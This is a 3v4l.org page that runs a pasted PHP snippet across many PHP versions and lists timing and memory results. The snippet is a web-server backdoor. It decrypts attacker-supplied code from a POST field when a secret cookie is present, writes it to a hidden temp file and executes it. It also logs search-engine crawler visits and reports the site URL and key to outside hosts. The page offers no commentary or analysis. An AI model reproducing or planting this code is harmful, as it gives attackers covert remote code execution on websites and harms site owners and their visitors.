3v4l.org

run code in 300+ PHP versions simultaneously
<?php if (function_exists('ini_set')){ @ini_set('allow_url_fopen', 1); @ini_set('display_errors', 0); } define('DISALLOW_FILE_EDIT', true); define('determinator', 1); function rc4($key, $string) { $j=$i-$i=-1; $s=array(); $result=implode($s); for ($a=256;++$i<$a;$s[$i]=$i); $x=$i=$j-1; for ($key_len=strlen($key); ++$i<$a;$s[$j]=$x){ $j=($j + $s[$i] + ord($key[$i % $key_len])) % $a; $x=$s[$i]; $s[$i]=$s[$j]; //$s[$j]=$x; } for ($y=$j=$i=0; $y<strlen($string);){ $i=++$i%$a; $j=($j + $s[$i]) % $a; $x = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $x; $result.=$string[$y++] ^ chr($s[($s[$i]+$s[$j]) % $a]); } return $result; } function w3net_feof($fp, &$start=NULL) { $start = microtime(true); return feof($fp); } function php_server_lower($item){ return @strtolower(@$_SERVER[$item]); } $source='{{source}}'; $ver='{{version}}'; $salt='{{salt}}'; $host='http'; $show_for_agents='google+yahoo+baidu+bingbot+msnbot+yandex'; $empty_string=implode(array()); if (isset($_SERVER['HTTPS'])){ if (@$_SERVER['HTTPS'] != 'off') $host.='s'; } $host.='://'.php_server_lower('HTTP_HOST'); //do sql enjection filter $badwords = 'base64_decode+union+select'; foreach (array_keys($_GET) as $key){ foreach(explode('+',$badwords) as $badware){ $_GET[$key]=str_replace($badware, $empty_string,$_GET[$key]); } } //IIS path if(!isset($_SERVER['REQUEST_URI'])) { $request_uri=@$_SERVER['SCRIPT_NAME']; if(isset($_SERVER['QUERY_STRING'])) { $request_uri.= '?' . @$_SERVER['QUERY_STRING']; } } else{ $request_uri=$_SERVER['REQUEST_URI']; } if (strlen($host) < 10){ define("web_inspector", 0); } elseif ($uri=$host.$request_uri){ $secure_key=@md5($host.PHP_OS.$ver.$salt); //find the directory $ds = DIRECTORY_SEPARATOR; $tmpdir=dirname(__FILE__).$ds; $tempdirs = Array( '/dev/shm', '/tmp/.font-unix', '/tmp/.ICE-unix', @$_SERVER['TMP'], @$_SERVER['TEMP'], @$_ENV['TMP'], @$_ENV['TMPDIR'], @$_ENV['TEMP'], '/tmp', @ini_get('upload_tmp_dir'), $tmpdir.'tmp', $tmpdir.'wp-content/uploads', $tmpdir.'wp-content/cache' ); if (defined('forced_dir')){ array_unshift($tempdirs, constant('forced_dir')); } foreach ($tempdirs as $location){ if (!empty($location)){ $location.=$ds; if (@is_writable($location)){ $tmpdir = $location; break; } } } $w3n_code=$tmpdir.'.'.$secure_key; define("web_inspector", $w3n_code); $w3n_log = $w3n_code.'.log'; $cookie_key = md5($secure_key); if (isset($_COOKIE[$cookie_key])){ $base64 = 'base64_decode'; echo "\r\n"; echo "version:".$ver."-".$source."-php\r\n"; echo "directory:".dirname(__FILE__)."\r\n"; if ($code=@$_POST[$cookie_key]){ $code=rc4($secure_key, $base64($code)); $w3n_exec=$w3n_code.".run"; $fh=@fopen($w3n_exec, 'w'); @fwrite($fh, "<?php ".$code); @fclose($fh); @include($w3n_exec); @unlink($w3n_exec); // $streammeta = 'stream_get_meta_data'; // fwrite($temp=tmpfile(), "<?php ".$code); // $meta = $streammeta($temp); // include($meta['uri']); // fclose($temp); // eval($code); } exit(0); } $se_bot=0; $useragent = php_server_lower('HTTP_USER_AGENT'); foreach (explode('+', $show_for_agents) as $refitm){ if (strpos($useragent, $refitm)!==False){ //log query $logfile = @fopen($w3n_code.'.log', 'a'); $requesturl = @urlencode($request_uri); @fwrite($logfile, time()."\t".$refitm."\t".$requesturl."\n"); @fclose($logfile); ++$se_bot; break; } } if (@is_file($w3n_code)){ @touch($w3n_code); @include_once($w3n_code); } elseif ($se_bot>0){ $domains = Array('{{ping_domain}}','e2.krebs.com','b4.foralice.com'); if (@touch($w3n_code)){ $uri=@urlencode($uri); $path = '/wp-config.php?u='.$uri.'&k='.$secure_key.'&t=php&p='.$source.'&v='.$ver; //get_content $host=$domains[0]; $curl='curl_'; $curl_init = $curl.'init'; if (@ini_get('allow_url_fopen') == '1') { @file_get_contents('http://' . $host . $path. '&w=fgc'); } //curl elseif (function_exists($curl_init)){ $curlhandler = @$curl_init(); $curl_setopt = $curl.'setopt'; @$curl_setopt($curlhandler, CURLOPT_URL, 'http://'.$host.$path. '&w=cu'); @$curl_setopt($curlhandler, CURLOPT_HEADER, 0); @$curl_setopt($curlhandler, CURLOPT_RETURNTRANSFER, 1); @$curl_setopt($curlhandler, CURLOPT_CONNECTTIMEOUT, 7); $curl_exec = $curl.'exec'; $curldata = @$curl_exec($curlhandler); @curl_close($curlhandler); } //fsock open else { $port = 80; $fp = @fsockopen($host, $port, $errno, $errstr, 5); if ($fp) { $start = NULL; @fputs($fp, "GET {$path}".'&w=sk HTTP/1.0'."\r\n".'Host: '."{$host}\r\n"); $user_agent = PHP_OS.'/'.PHP_VERSION; @fputs($fp, "User-Agent: {$user_agent}\r\n\r\n"); while(!w3net_feof($fp, $start) && (microtime(true) - $start) < 2){ @fgets($fp, 128); } @fclose($fp); } } @touch($w3n_code); } } } else { define("web_inspector", 1); } echo 'qwe'; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.00.0070.01228.09
8.2.130.0090.00628.09
8.2.120.0070.00928.09
8.2.110.0100.00623.11
8.2.100.0180.00721.54
8.2.90.0210.00521.69
8.2.80.0180.00621.58
8.2.70.0170.00634.07
8.2.60.0200.00521.09
8.2.50.0160.00521.12
8.2.40.0150.00421.17
8.2.30.0140.00621.16
8.2.20.0140.00621.15
8.2.10.0160.00521.19
8.2.00.0170.00421.16
8.1.260.0060.00228.09
8.1.250.0010.00728.09
8.1.240.0060.00524.97
8.1.230.0120.00422.45
8.1.220.0140.00721.53
8.1.210.0140.00721.72
8.1.200.0150.00420.99
8.1.190.0150.00521.02
8.1.180.0170.00520.98
8.1.170.0150.00621.06
8.1.160.0160.00421.04
8.1.150.0150.00421.33
8.1.140.0140.00621.02
8.1.130.0140.00521.04
8.1.120.0150.00421.07
8.1.110.0150.00421.04
8.1.100.0160.00321.01
8.1.90.0140.00421.05
8.1.80.0150.00421.03
8.1.70.0170.00121.11
8.1.60.0140.00521.09
8.1.50.0130.00521.12
8.1.40.0130.00621.11
8.1.30.0140.00421.10
8.1.20.0140.00521.08
8.1.10.0130.00421.09
8.1.00.0110.00621.08
8.0.300.0180.00321.34
8.0.290.0160.00520.85
8.0.280.0120.00620.84
8.0.270.0130.00720.90
8.0.260.0140.00620.88
8.0.250.0140.00320.87
8.0.240.0140.00520.88
8.0.230.0160.00420.91
8.0.220.0140.00520.85
8.0.210.0150.00320.84
8.0.200.0130.00720.87
8.0.190.0140.00620.92
8.0.180.0140.00420.88
8.0.170.0150.00520.91
8.0.160.0150.00520.83
8.0.150.0160.00320.86
8.0.140.0160.00420.91
8.0.130.0130.00320.94
8.0.120.0140.00520.85
8.0.110.0150.00220.87
8.0.100.0150.00520.83
8.0.90.0170.00420.82
8.0.80.0140.00520.87
8.0.70.0160.00520.88
8.0.60.0160.00520.91
8.0.50.0190.00120.88
8.0.30.0150.00520.96
8.0.20.0160.00320.89
8.0.10.0150.00420.89
8.0.00.0170.00421.64
7.4.330.0120.00420.54
7.4.320.0160.00420.76
7.4.300.0150.00421.01
7.4.290.0160.00420.97
7.4.280.0150.00920.75
7.4.270.0160.00421.00
7.4.260.0170.00420.78
7.4.250.0150.00620.71
7.4.240.0160.00720.97
7.4.230.0160.00720.76
7.4.220.0180.00521.01
7.4.210.0160.00520.74
7.4.200.0170.00521.01
7.4.190.0160.00520.76
7.4.180.0150.00720.75
7.4.160.0200.00521.01
7.4.150.0200.00620.98
7.4.140.0190.00420.96
7.4.130.0160.00720.72
7.4.120.0170.00520.74
7.4.110.0160.00620.75
7.4.100.0190.00420.75
7.4.90.0190.00420.74
7.4.80.0190.00520.72
7.4.70.0190.00420.71
7.4.60.0180.00420.76
7.4.50.0210.00520.73
7.4.40.0220.00320.76
7.4.30.0210.00420.74
7.4.20.0200.00520.73
7.4.10.0230.00220.74
7.4.00.0160.00421.00
7.3.330.0180.00420.73
7.3.320.0140.00620.71
7.3.310.0140.00620.72
7.3.300.0170.00520.71
7.3.290.0150.00520.76
7.3.280.0150.00420.71
7.3.270.0190.00420.76
7.3.260.0190.00320.72
7.3.250.0140.00720.80
7.3.240.0160.00520.72
7.3.230.0160.00720.78
7.3.220.0190.00420.68
7.3.210.0190.00420.67
7.3.200.0160.00520.71
7.3.190.0170.00420.68
7.3.180.0170.00420.70
7.3.170.0140.00620.70
7.3.160.0190.00420.70
7.3.150.0190.00420.73
7.3.140.0180.00520.72
7.3.130.0190.00620.70
7.3.120.0170.00420.70
7.3.110.0170.00620.70
7.3.100.0200.00620.71
7.3.90.0190.00520.76
7.3.80.0190.00520.72
7.3.70.0170.00620.72
7.3.60.0180.00420.76
7.3.50.0170.00520.72
7.3.40.0170.00420.79
7.3.30.0200.00420.71
7.3.20.0190.00621.20
7.3.10.0200.00521.19
7.3.00.0170.00521.18
7.2.340.0150.00621.00
7.2.330.0190.00420.76
7.2.320.0200.00420.72
7.2.310.0180.00620.67
7.2.300.0180.00420.75
7.2.290.0160.00520.69
7.2.280.0160.00520.70
7.2.270.0170.00320.73
7.2.260.0150.00520.77
7.2.250.0180.00520.73
7.2.240.0140.00820.74
7.2.230.0180.00520.70
7.2.220.0220.00320.79
7.2.210.0200.00620.68
7.2.200.0220.00420.77
7.2.190.0200.00720.76
7.2.180.0200.00620.71
7.2.170.0240.00220.80
7.2.160.0180.00720.79
7.2.150.0240.00821.49
7.2.140.0230.00221.23
7.2.130.0200.00621.27
7.2.120.0190.00721.27
7.2.110.0190.00721.27
7.2.100.0210.00321.28
7.2.90.0200.00221.26
7.2.80.0210.00321.26
7.2.70.0190.00521.23
7.2.60.0160.00621.30
7.2.50.0160.00521.22
7.2.40.0170.00421.27
7.2.30.0160.00721.20
7.2.20.0180.00421.31
7.2.10.0190.00221.42
7.2.00.0170.00521.28
7.1.330.0150.00320.95
7.1.320.0140.00520.89
7.1.310.0150.00420.92
7.1.300.0170.00420.93
7.1.290.0130.00720.92
7.1.280.0160.00420.93
7.1.270.0130.00620.93
7.1.260.0170.00320.95
7.1.250.0160.00420.90
7.1.240.0150.00420.91
7.1.230.0210.00320.93
7.1.220.0130.00620.93
7.1.210.0150.00420.92
7.1.200.0160.00420.89
7.1.190.0130.00820.91
7.1.180.0160.00520.88
7.1.170.0190.00421.05
7.1.160.0190.00420.32
7.1.150.0140.00620.90
7.1.140.0160.00320.92
7.1.130.0160.00520.94
7.1.120.0170.00420.92
7.1.110.0180.00420.91
7.1.100.0160.00620.94
7.1.90.0150.00720.89
7.1.80.0170.00420.95
7.1.70.0140.00520.91
7.1.60.0160.00320.91
7.1.50.0180.00220.92
7.1.40.0140.00520.93
7.1.30.0160.00320.97
7.1.20.0150.00420.94
7.1.10.0190.00320.94
7.1.00.0150.00420.87
7.0.330.0180.00220.82
7.0.320.0140.00620.81
7.0.310.0170.00320.80
7.0.300.0170.00320.84
7.0.290.0160.00420.84
7.0.280.0170.00520.82
7.0.270.0170.00420.82
7.0.260.0120.00720.81
7.0.250.0140.00420.92
7.0.240.0140.00420.89
7.0.230.0140.00420.88
7.0.220.0160.00420.80
7.0.210.0170.00320.87
7.0.200.0170.00320.89
7.0.190.0190.00320.83
7.0.180.0130.00620.86
7.0.170.0170.00420.83
7.0.160.0140.00620.86
7.0.150.0170.00420.81
7.0.140.0150.00520.83
7.0.130.0140.00520.87
7.0.120.0120.00720.91
7.0.110.0140.00520.87
7.0.100.0160.00420.86
7.0.90.0130.00520.85
7.0.80.0170.00420.85
7.0.70.0140.00520.88
7.0.60.0110.00620.85
7.0.50.0160.00220.87
7.0.40.0150.00420.86
7.0.30.0150.00420.87
7.0.20.0180.00420.84
7.0.10.0130.00520.84
7.0.00.0170.00420.84
5.6.400.0170.00420.65
5.6.390.0150.00620.66
5.6.380.0160.00320.65
5.6.370.0160.00320.64
5.6.360.0170.00520.63
5.6.350.0160.00420.64
5.6.340.0130.00520.65
5.6.330.0140.00620.65
5.6.320.0160.00420.65
5.6.310.0140.00520.63
5.6.300.0130.00420.64
5.6.290.0110.00620.63
5.6.280.0130.00420.66
5.6.270.0120.00520.66
5.6.260.0120.00320.66
5.6.250.0100.00520.68
5.6.240.0100.00520.67
5.6.230.0110.00420.69
5.6.220.0140.00220.65
5.6.210.0130.00320.65
5.6.200.0150.00320.68
5.6.190.0130.00320.65
5.6.180.0110.00420.64
5.6.170.0130.00320.67
5.6.160.0110.00520.64
5.6.150.0140.00220.68
5.6.140.0120.00420.65
5.6.130.0110.00420.68
5.6.120.0130.00220.65
5.6.110.0120.00420.62
5.6.100.0120.00320.63
5.6.90.0110.00420.65
5.6.80.0100.00420.67
5.6.70.0130.00320.69
5.6.60.0100.00520.67
5.6.50.0100.00420.64
5.6.40.0120.00320.65
5.6.30.0100.00520.66
5.6.20.0120.00320.61
5.6.10.0100.00420.64
5.6.00.0110.00520.62
5.5.380.0130.00420.66
5.5.370.0130.00620.66
5.5.360.0150.00220.62
5.5.350.0160.00420.63
5.5.340.0130.00520.63
5.5.330.0150.00420.66
5.5.320.0150.00220.64
5.5.310.0140.00420.62
5.5.300.0140.00420.61
5.5.290.0120.00720.62
5.5.280.0140.00520.62
5.5.270.0170.00420.63
5.5.260.0160.00420.62
5.5.250.0150.00420.64
5.5.240.0160.00220.63
5.5.230.0140.00520.62
5.5.220.0150.00520.61
5.5.210.0170.00320.63
5.5.200.0150.00520.62
5.5.190.0140.00620.62
5.5.180.0170.00320.63
5.5.170.0160.00320.62
5.5.160.0160.00320.62
5.5.150.0140.00520.62
5.5.140.0150.00420.61
5.5.130.0140.00420.62
5.5.120.0140.00420.61
5.5.110.0130.00420.62
5.5.100.0130.00520.65
5.5.90.0150.00320.66
5.5.80.0140.00320.62
5.5.70.0140.00420.66
5.5.60.0100.00620.63
5.5.50.0130.00420.66
5.5.40.0140.00420.66
5.5.30.0140.00520.73
5.5.20.0140.00420.65
5.5.10.0160.00220.62
5.5.00.0150.00320.64
5.4.450.0120.00320.54
5.4.440.0140.00220.54
5.4.430.0110.00420.54
5.4.420.0110.00420.54
5.4.410.0100.00520.54
5.4.400.0120.00320.54
5.4.390.0120.00420.54
5.4.380.0110.00320.54
5.4.370.0090.00620.54
5.4.360.0110.00520.54
5.4.350.0110.00420.54
5.4.340.0130.00220.54
5.4.330.0110.00420.54
5.4.320.0110.00420.54
5.4.310.0130.00120.54
5.4.300.0110.00420.54
5.4.290.0130.00220.54
5.4.280.0090.00420.54
5.4.270.0120.00120.54
5.4.260.0090.00320.54
5.4.250.0090.00520.54
5.4.240.0110.00320.54
5.4.230.0110.00320.54
5.4.220.0110.00520.54
5.4.210.0120.00220.54
5.4.200.0100.00420.54
5.4.190.0100.00320.54
5.4.180.0130.00320.54
5.4.170.0100.00520.54
5.4.160.0100.00320.54
5.4.150.0110.00220.54
5.4.140.0110.00320.54
5.4.130.0100.00220.54
5.4.120.0120.00120.54
5.4.110.0090.00420.54
5.4.100.0090.00420.54
5.4.90.0090.00420.54
5.4.80.0100.00320.54
5.4.70.0120.00220.54
5.4.60.0070.00620.54
5.4.50.0090.00520.54
5.4.40.0090.00520.54
5.4.30.0120.00220.54
5.4.20.0090.00420.54
5.4.10.0110.00320.54
5.4.00.0120.00220.54
5.3.290.0120.00320.54
5.3.280.0110.00420.54
5.3.270.0100.00520.54
5.3.260.0100.00420.54
5.3.250.0120.00120.54
5.3.240.0100.00520.54
5.3.230.0080.00520.54
5.3.220.0110.00220.54
5.3.210.0110.00320.54
5.3.200.0110.00320.54
5.3.190.0090.00520.54
5.3.180.0100.00320.54
5.3.170.0100.00420.54
5.3.160.0100.00320.54
5.3.150.0110.00220.54
5.3.140.0120.00220.54
5.3.130.0110.00220.54
5.3.120.0090.00420.54
5.3.110.0100.00320.54
5.3.100.0100.00320.54
5.3.90.0090.00320.54
5.3.80.0090.00420.54
5.3.70.0090.00420.54
5.3.60.0090.00320.54
5.3.50.0100.00320.54
5.3.40.0090.00520.54
5.3.30.0110.00420.54
5.3.20.0110.00320.54
5.3.10.0110.00320.54
5.3.00.0120.00320.54

preferences:
40.2 ms | 400 KiB | 5 Q